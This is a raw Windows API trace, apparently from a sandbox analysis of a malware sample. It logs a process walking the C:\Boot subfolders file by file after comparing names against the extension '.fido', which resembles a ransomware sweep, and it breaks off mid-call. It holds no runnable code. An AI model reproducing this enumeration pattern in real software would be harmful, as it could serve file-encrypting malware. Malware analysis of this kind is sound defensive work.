[0044.085] lstrcmpiW (lpString1=".fido", lpString2="") returned 1 [0044.086] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3610e78 [0044.086] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x61b490 [0044.425] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.425] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.426] FindClose (in: hFindFile=0x61b490 | out: hFindFile=0x61b490) returned 1 [0044.427] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3610e78 | out: hHeap=0x5c0000) returned 1 [0044.427] FindNextFileW (in: hFindFile=0x60c008, lpFindFileData=0x2edfa84 | out: lpFindFileData=0x2edfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0044.427] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3610e78 [0044.427] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x61b490 [0044.428] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.428] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.428] FindClose (in: hFindFile=0x61b490 | out: hFindFile=0x61b490) returned 1 [0044.428] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3610e78 | out: hHeap=0x5c0000) returned 1 [0044.428] FindNextFileW (in: hFindFile=0x60c008, lpFindFileData=0x2edfa84 | out: lpFindFileData=0x2edfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0044.428] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3610e78 [0044.428] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x61b490 [0044.430] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.430] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.430] FindClose (in: hFindFile=0x61b490 | out: hFindFile=0x61b490) returned 1 [0044.430] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3610e78 | out: hHeap=0x5c0000) returned 1 [0044.430] FindNextFileW (in: hFindFile=0x60c008, lpFindFileData=0x2edfa84 | out: lpFindFileData=0x2edfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0044.430] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3610e78 [0044.430] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x61b490 [0044.431] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.431] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.431] FindClose (in: hFindFile=0x61b490 | out: hFindFile=0x61b490) returned 1 [0044.436] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3610e78 | out: hHeap=0x5c0000) returned 1 [0044.436] FindNextFileW (in: hFindFile=0x60c008, lpFindFileData=0x2edfa84 | out: lpFindFileData=0x2edfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0044.436] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3610e78 [0044.436] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x61b490 [0044.437] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.437] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.437] FindClose (in: hFindFile=0x61b490 | out: hFindFile=0x61b490) returned 1 [0044.438] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3610e78 | out: hHeap=0x5c0000) returned 1 [0044.438] FindNextFileW (in: hFindFile=0x60c008, lpFindFileData=0x2edfa84 | out: lpFindFileData=0x2edfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0044.438] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3610e78 [0044.438] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x61b490 [0044.439] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.439] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.439] FindClose (in: hFindFile=0x61b490 | out: hFindFile=0x61b490) returned 1 [0044.440] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3610e78 | out: hHeap=0x5c0000) returned 1 [0044.440] FindNextFileW (in: hFindFile=0x60c008, lpFindFileData=0x2edfa84 | out: lpFindFileData=0x2edfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0044.440] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3610e78 [0044.440] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x61b490 [0044.440] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.440] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.440] FindClose (in: hFindFile=0x61b490 | out: hFindFile=0x61b490) returned 1 [0044.441] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3610e78 | out: hHeap=0x5c0000) returned 1 [0044.441] FindNextFileW (in: hFindFile=0x60c008, lpFindFileData=0x2edfa84 | out: lpFindFileData=0x2edfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0044.441] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3610e78 [0044.441] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x61b490 [0044.442] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.442] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0044.443] FindClose (in: hFindFile=0x61b490 | out: hFindFile=0x61b490) returned 1 [0044.443] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3610e78 | out: hHeap=0x5c0000) returned 1 [0044.443] FindNextFileW (in: hFindFile=0x60c008, lpFindFileData=0x2edfa84 | out: lpFindFileData=0x2edfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0044.443] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3610e78 [0044.443] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x61b490 [0044.445] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.445] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.445] FindClose (in: hFindFile=0x61b490 | out: hFindFile=0x61b490) returned 1 [0044.445] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3610e78 | out: hHeap=0x5c0000) returned 1 [0044.445] FindNextFileW (in: hFindFile=0x60c008, lpFindFileData=0x2edfa84 | out: lpFindFileData=0x2edfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0044.445] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3610e78 [0044.445] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x61b490 [0044.446] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.446] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.446] FindClose (in: hFindFile=0x61b490 | out: hFindFile=0x61b490) returned 1 [0044.446] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3610e78 | out: hHeap=0x5c0000) returned 1 [0044.446] FindNextFileW (in: hFindFile=0x60c008, lpFindFileData=0x2edfa84 | out: lpFindFileData=0x2edfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0044.446] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3610e78 [0044.446] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x61b490 [0044.448] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x2edf808 | out: lpFindFileData=0x2edf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.448] FindNextFileW (in: 